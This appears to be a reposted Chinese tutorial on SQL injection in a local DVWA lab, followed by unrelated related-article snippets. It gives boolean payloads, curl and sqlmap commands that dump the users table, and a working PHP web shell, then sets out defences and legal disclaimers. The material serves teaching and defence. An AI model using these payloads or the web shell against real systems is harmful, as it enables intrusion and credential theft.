【安全学习】DVWA 靶场 SQL 注入漏洞原理分析与防御策略(教育用途)

注意:本文内容仅用于合法授权的安全研究、教学演示及漏洞复现,严禁用于任何未授权的系统或网络环境。
所有操作需在本地沙箱或个人可控靶场中执行,切勿对生产环境、他人系统进行测试,非法使用后果自负。

📌 法律与道德双重声明

本文所涉及的技术与操作流程,核心目的是帮助安全学习者理解SQL注入漏洞的原理、危害及防御方法,仅适用于合法授权的安全测试场景(如个人搭建的DVWA靶场、企业内部授权的安全审计等)。

🚫 严禁以下行为

  1. 未经授权对任何第三方系统、网站实施渗透测试或漏洞利用;
  2. 利用本文技术获取他人数据、破坏系统功能或传播恶意程序;
  3. 将漏洞利用方法用于违反《网络安全法》《数据安全法》等法律法规的活动。

使用者必须在完全接受本声明的前提下阅读与操作,凡违反上述规定导致的法律责任(如刑事责任、民事赔偿),均由使用者自行承担,作者不承担任何关联责任。

📜 相关法律依据(中国)

  1. 《中华人民共和国网络安全法》第十二条:禁止任何组织或个人利用网络危害国家安全、损害社会公共利益,或侵犯他人合法权益;
  2. 《中华人民共和国刑法》第二百八十五条-第二百八十七条:非法入侵计算机信息系统、非法获取计算机信息系统数据、破坏计算机信息系统功能等行为,将依法追究刑事责任;
  3. 《中华人民共和国数据安全法》第三条、第十七条:数据处理活动需遵循合法、正当、必要原则,严禁非法收集、存储、传输他人数据。

一、实验环境准备:Docker搭建DVWA靶场

DVWA(Damn Vulnerable Web Application)是一款专门用于安全实验的脆弱性Web应用,需通过Docker快速搭建(本地环境,无网络风险)。

1. 安装Docker(以Ubuntu系统为例)

# 更新系统软件源
sudo apt update
# 安装Docker
sudo apt install -y docker.io

2. 拉取并运行DVWA镜像

# 拉取官方DVWA镜像
docker pull vulnerables/web-dvwa
# 启动容器(映射端口7997,--rm表示容器停止后自动删除)
docker run --rm -it -p 7997:80 vulnerables/web-dvwa

3. 访问并初始化靶场

  1. 打开浏览器,输入地址:http://localhost:7997
  2. 使用默认账号密码登录:admin / password
  3. 点击页面下方的 Create/Reset Database 按钮,完成数据库初始化(初始化后靶场才能正常使用)。

二、SQL注入漏洞测试:布尔注入验证

布尔注入是SQL注入的常见类型,核心原理是通过构造“永真条件”(如OR '1'='1'),让后台SQL语句返回异常结果,从而判断漏洞是否存在。

1. 构造注入 payload

在DVWA靶场的「SQL Injection」模块中,输入以下内容并提交:

OR '1'='1'

2. 漏洞原理分析

假设后台原始SQL查询语句为:

SELECT * FROM users WHERE password = '';  -- 正常查询(无结果)

当注入OR '1'='1'后,SQL语句变为:

SELECT * FROM users WHERE password = '' OR '1'='1';  -- 永真条件,返回所有用户数据

3. 测试结果

页面会返回数据库中所有用户的信息(示例如下),证明SQL注入漏洞存在:

ID: 1' OR '1'='1
First name: admin
Surname: adminID: 1' OR '1'='1
First name: Gordon
Surname: BrownID: 1' OR '1'='1
First name: Pablo
Surname: Picasso
...

布尔注入测试结果

三、获取关键Cookie:PHPSESSID与安全级别

SQL注入测试需携带用户会话Cookie(PHPSESSID)和靶场安全级别Cookie(security),否则会被靶场拦截或返回错误结果。

1. 浏览器获取Cookie(可视化方式)

  1. 打开浏览器开发者工具(F12),切换到「Application」(Chrome)或「存储」(Firefox)标签;
  2. 在「Cookie」→ http://localhost:7997 下,找到 PHPSESSIDsecurity 两个字段,记录其值(如 PHPSESSID=4g1116vseduecrmelkc6od8bi1security=low)。

Cookie获取示意图

2. 命令行获取Cookie(curl方式)

通过curl -I命令发送HEAD请求,从响应头中提取Cookie:

curl -I http://localhost:7997

输出示例(关键信息已标注):

HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/  # 会话ID
Set-Cookie: security=low; path=/  # 靶场安全级别(low为最低,适合测试)
Location: login.php

四、命令行验证注入点:curl工具实战

使用curl携带Cookie发送注入请求,进一步验证漏洞的可利用性(无需浏览器,适合自动化测试场景)。

1. 构造curl命令

注意:注入语句中的空格需替换为URL编码%20,避免命令解析错误:

curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&Submit=Submit" \
-H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"

2. 命令说明

  • -i:显示响应头和响应体;
  • -H "Cookie: ...":携带会话Cookie,模拟已登录状态;
  • id=1'%20OR%20'1'='1':注入 payload,构造永真条件。

3. 验证结果

若响应体中包含所有用户数据(如adminGordon等用户名),则证明注入点有效。

curl测试示意图

五、自动化探测注入类型:sqlmap工具使用

sqlmap是一款开源的SQL注入自动化工具,可自动探测注入类型(如布尔注入、时间盲注、UNION注入等),减少手动测试成本。

1. 探测注入类型命令

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
-p id --batch --level=2 --risk=1

2. 命令参数说明

  • -u:指定测试URL;
  • --cookie:携带会话Cookie;
  • -p id:指定测试参数为id
  • --batch:自动选择默认选项,无需手动交互;
  • --level=2:测试级别(1-5,级别越高测试越全面);
  • --risk=1:风险级别(1-3,风险越高越可能触发目标防御机制)。

3. 探测结果

sqlmap会输出注入类型(如“Boolean-based blind - Parameter: id”),并确认漏洞可利用。

六、漏洞利用:获取数据库与表结构

通过sqlmap进一步获取靶场数据库的详细信息,理解注入漏洞的危害范围。

1. 获取所有数据库列表

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
--dbs -p id --batch

输出会包含靶场的数据库(如dvwainformation_schema等),其中dvwa是DVWA应用的核心数据库。

数据库列表示意图

2. 获取dvwa数据库的表结构

指定-D dvwa参数,查询dvwa数据库下的所有表:

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
-D dvwa --tables -p id --batch

输出会包含users表(存储用户账号密码)、guestbook表(留言数据)等,其中users表是核心目标。

DVWA表结构示意图

3. 查询users表数据(获取账号密码)

通过--sql-query执行自定义SQL,读取users表的所有数据:

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
--sql-query="SELECT * FROM dvwa.users;" -p id --batch

输出会包含所有用户的idusernamepassword(MD5加密)等信息,证明注入可导致敏感数据泄露。

用户表示例数据

七、风险延伸:WebShell植入演示(仅限受控环境)

SQL注入的严重危害之一是“写入文件”——若数据库权限足够,可通过注入语句向Web目录写入WebShell,实现对服务器的远程控制(此操作仅在个人靶场演示,严禁用于其他场景)。

1. PHP WebShell示例代码

<?php
// 简单WebShell(通过GET参数cmd执行系统命令)
if (isset($_REQUEST['cmd'])) {echo "<pre>";  // 格式化输出命令结果system($_REQUEST['cmd']);  // 执行系统命令echo "</pre>";
}
?>

2. 植入原理(补充说明)

在实际漏洞利用中,需通过SQL注入的INTO OUTFILE语句将上述代码写入Web目录(如/var/www/html/shell.php),但DVWA默认配置可能限制文件写入权限,此处仅作原理演示,不提供具体注入命令(避免滥用)。

WebShell示意图

八、安全启示:SQL注入防御方案

通过本次实验,可清晰看到SQL注入的危害链路:漏洞验证 → 数据泄露 → 权限提升 → 服务器控制。防御需从“代码、配置、运维”三层面入手:

1. 代码层面:杜绝注入根源

  • 使用预编译SQL(参数化查询):将SQL语句与参数分离,避免用户输入直接拼接进SQL(如Java的PreparedStatement、Python的pymysql参数化);
  • 输入过滤与转义:对用户输入的特殊字符(如';OR)进行转义或过滤,限制输入格式;
  • 使用ORM框架:如MyBatis、Hibernate等,框架自带注入防护机制,减少手动编码风险。

2. 配置层面:降低漏洞影响

  • 数据库最小权限原则:Web应用使用的数据库账号仅授予“必要权限”(如SELECT、INSERT),禁止授予FILE(文件写入)、DROP(删除表)等高危权限;
  • 限制Web目录权限:禁止Web服务器对Web目录拥有“写入权限”,防止WebShell植入;
  • 隐藏敏感信息:禁用数据库错误信息回显(如PHP的display_errors = Off),避免泄露SQL语句结构。

3. 运维层面:持续监控与响应

  • 定期漏洞扫描:使用工具(如Nessus、AWVS)定期扫描Web应用,及时发现注入等漏洞;
  • 日志审计:记录SQL执行日志、Web访问日志,异常操作(如大量包含OR '1'='1的请求)及时告警;
  • 及时更新补丁:定期更新Web服务器、数据库、应用框架的补丁,修复已知漏洞。

📣 最终声明(再次强调)

本文所有操作均在本地沙箱环境中完成,使用的DVWA靶场是专门用于安全实验的开源项目,无任何实际网络危害。

技术本身无善恶,但其使用边界必须严格遵守法律法规与道德准则。作为安全学习者,应始终牢记:

  • 所有安全测试必须获得明确书面授权
  • 不得利用技术侵犯他人权益或破坏网络安全;
  • 以“防御”为核心目标,通过漏洞测试推动系统安全加固。

若有人违反上述原则,滥用本文技术实施违法犯罪行为,一切法律责任与后果均由其自行承担,作者不承担任何关联责任。

希望本文能帮助大家深入理解SQL注入漏洞,提升安全防护意识,共同维护健康的网络环境!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/97567.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/97567.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Langflow Memory 技术深度分析

Langflow Memory 技术深度分析 1. Memory 技术概述和设计理念 1.1 技术概述 Langflow 的 Memory 系统是一个多层次的记忆管理框架&#xff0c;专门设计用于处理对话历史、上下文状态和会话数据的存储与检索。该系统采用了分层架构设计&#xff0c;支持多种记忆类型和存储后端&a…

从0开始搭建一个前端项目(vue + vite + less + typescript)

版本 node&#xff1a;v22.17.1 pnpm&#xff1a;v10.13.1 vue&#xff1a;^3.5.18 vite&#xff1a;^7.0.6 typescipt&#xff1a;~5.8.0脚手架初始化vue pnpm create vuelatest只选择&#xff1a; TypeScript, JSX 3. 用vscode打开创建的项目&#xff0c;并删除多余的代码esl…

(十)ps识别:Swin Transformer-T 与 ResNet50 结合的 PS 痕迹识别模型训练过程解析

Swin Transformer-T 与 ResNet50 结合的 PS 痕迹识别模型 思路分析模型融合思路&#xff1a; 利用ResNet50提取图像的局部纹理和边缘特征&#xff0c;这对检测篡改区域的细微变化非常重要利用Swin Transformer-T捕捉全局上下文信息和长距离依赖关系&#xff0c;有助于理解图像整…

[ICCV25]TRACE:用3D高斯直接学习物理参数,让AI“推演”未来场景

导读在复杂的动态世界中&#xff0c;让机器人既能看懂场景&#xff0c;又能预测未来变化&#xff0c;是一项极具挑战性的任务。过去的方法往往依赖人工标注或简化的物理模型&#xff0c;却难以真正捕捉物体运动的规律。TRACE 提出了一个全新的思路&#xff1a;把三维场景中的每…

电商数据开发实践:深度剖析1688商品详情 API 的技术与应用

在电商行业数字化转型的进程中&#xff0c;数据获取与处理的效率和准确性&#xff0c;直接影响着企业的竞争力。作为开发者&#xff0c;相信大家都遇到过这类棘手问题&#xff1a;在构建时&#xff0c;因数据不一致导致采购决策失误&#xff1b;使用传统&#xff0c;又常遭遇电…

Docker 详解+示例(部署Kafka镜像容器)

介 绍Docker 是一个开源的容器化平台&#xff0c;它的核心目标是解决 “软件在不同环境下运行不一致” 的问题&#xff0c;实现 “一次构建&#xff0c;到处运行” 。它基于 Linux 内核的底层技术&#xff0c;将应用程序及其依赖&#xff08;如库文件、配置、运行环境等&#x…

SciPy科学计算与应用:SciPy应用实战-数据分析与工程计算

SciPy案例研究&#xff1a;从理论到实践 学习目标 通过本课程&#xff0c;学员将了解一系列实际案例&#xff0c;深入探讨SciPy库在数据分析、物理模拟和工程计算中的应用。同时学员将学习如何利用SciPy解决实际问题&#xff0c;加深对SciPy各个模块的理解和应用能力。 相关知识…

React学习教程,从入门到精通, ReactJS - 架构(6)

ReactJS - 架构 React应用的架构 React的架构就像一个井然有序的厨房&#xff0c;每个工具都有其特定的位置和用途。在其核心&#xff0c;React遵循一个基于组件的架构&#xff0c;这意味着我们使用可重用的组件构建应用程序。 组件&#xff1a;构建块 可以把组件想象成乐高积木…

Bias / variance and neural networks|偏差/方差和神经网络

----------------------------------------------------------------------------------------------- 这是我在我的网站中截取的文章&#xff0c;有更多的文章欢迎来访问我自己的博客网站rn.berlinlian.cn&#xff0c;这里还有很多有关计算机的知识&#xff0c;欢迎进行留言或…

Linux HMM(Heterogeneous Memory Management)的应用

原理篇见【https://blog.csdn.net/shenjunpeng/article/details/150931847?spm1011.2415.3001.5331】 1. HMM 的优势与挑战 1.1 优势 统一虚拟地址空间&#xff1a;简化异构计算平台的数据共享和访问。 高效页表同步&#xff1a;支持设备端的 page fault 和页表同步&#x…

鸿蒙创新赛活动——Mac提交压缩失败后续

Mac提交压缩失败后续来了… 传送带【上一篇】 背景 华为2025HarmonyOS创新赛 上传作品的时候&#xff0c;遇到了一个提示 ZIP包中的Office文件含有嵌入文件&#xff0c;就去这个Office文件找&#xff0c;怎么也找不到嵌入的文件。 解决方法1 上次推荐的解决方式是&#xff0…

Ubuntu操作系统下使用mysql、mongodb、redis

目录 一、核心步骤概览 二. MySQL &#xff08;下面以其他用户为例&#xff09; 1,、安装 2、管理服务 3、连接与使用 4、配置文件位置 5、下面来演示一下安装好之后如何在Linux操作系统中远程登录和window互连Linux 远程登录 window连Linux&#xff08;连不上的&…

springboot java开发的rocketmq 顺序消息保证

首先要明确一个关键点&#xff1a;RocketMQ 保证的是一种局部顺序&#xff08;Partially Ordered&#xff09;​&#xff0c;而非全局顺序&#xff08;Globally Ordered&#xff09;。这意味着消息的顺序性只在某个特定维度&#xff08;比如同一个订单ID&#xff09;下保证&…

【机器学习】 14 Kernels

本章目录 14 Kernels 479 14.1 Introduction 479 14.2 Kernel functions 479 14.2.1 RBF kernels 480 14.2.2 Kernels for comparing documents 480 14.2.3 Mercer (positive definite) kernels 481 14.2.4 Linear kernels 482 14.2.5 Matern kernels 482 14.2.6 String kerne…

Android开发-工程结构

一、项目视图模式在开始之前&#xff0c;确保你的 Project 面板使用的是 【Android】 视图&#xff08;默认&#xff09;。这是最常用的视图&#xff0c;它将相关文件按功能逻辑分组展示。&#x1f4a1; 你也可以切换到 【Project】 视图查看完整的文件系统结构。二、顶级项目结…

mysql的内置函数

文章目录mysql的内置函数时间函数1. 返回值的数据类型和格式2. 功能侧重点3. 函数别名情况我现在想给一个日期加上十天&#xff0c;然后输出加上十天之后的日期&#xff0c;我该怎么做&#xff1f;我现在想给一个日期减去两天&#xff0c;然后输出减去两天之后的日期&#xff0…

【动态规划】子序列问题

一、[最长递增子序列](https://leetcode.cn/problems/longest-increasing-subsequence/description/)二、[摆动序列](https://leetcode.cn/problems/wiggle-subsequence/description/)三、[最长递增子序列的个数](https://leetcode.cn/problems/number-of-longest-increasing-s…

P2P技术应用:去中心化

P2P技术应用&#xff1a;https://www.bilibili.com/video/BV1WH4y1Y7i9 P2P与下载器 P2P技术实现的下载协议&#xff1a; 1、种子文件 2、磁力 3、电骡 播放器&#xff1a; 快车、电骡、迅雷 BT&#xff08;种子&#xff09;下载的基本技术原理 网盘与P2P技术 网盘公司的主…

数据结构(C语言篇):(八)栈

目录 前言 一、概念与结构 二、栈的实现 2.1 头文件的准备 2.2 函数的实现 2.2.1 STInit( )函数&#xff08;初始化&#xff09; 2.2.2 STDestroy( )函数&#xff08;销毁&#xff09; 2.2.3 STPush( )函数&#xff08;入栈&#xff09; 2.2.4 STPop( )函数&#…

Elasticsearch数据迁移快照方案初探(一):多节点集群配置踩坑记

背景介绍 在生产环境中&#xff0c;我们经常需要将测试环境的Elasticsearch索引数据迁移到生产环境。这次我们遇到了一个典型的多节点集群快照配置问题&#xff1a;需要为所有节点添加path.repo配置&#xff0c;但过程中遇到了各种挑战。 问题描述 我们的Elasticsearch集群包含…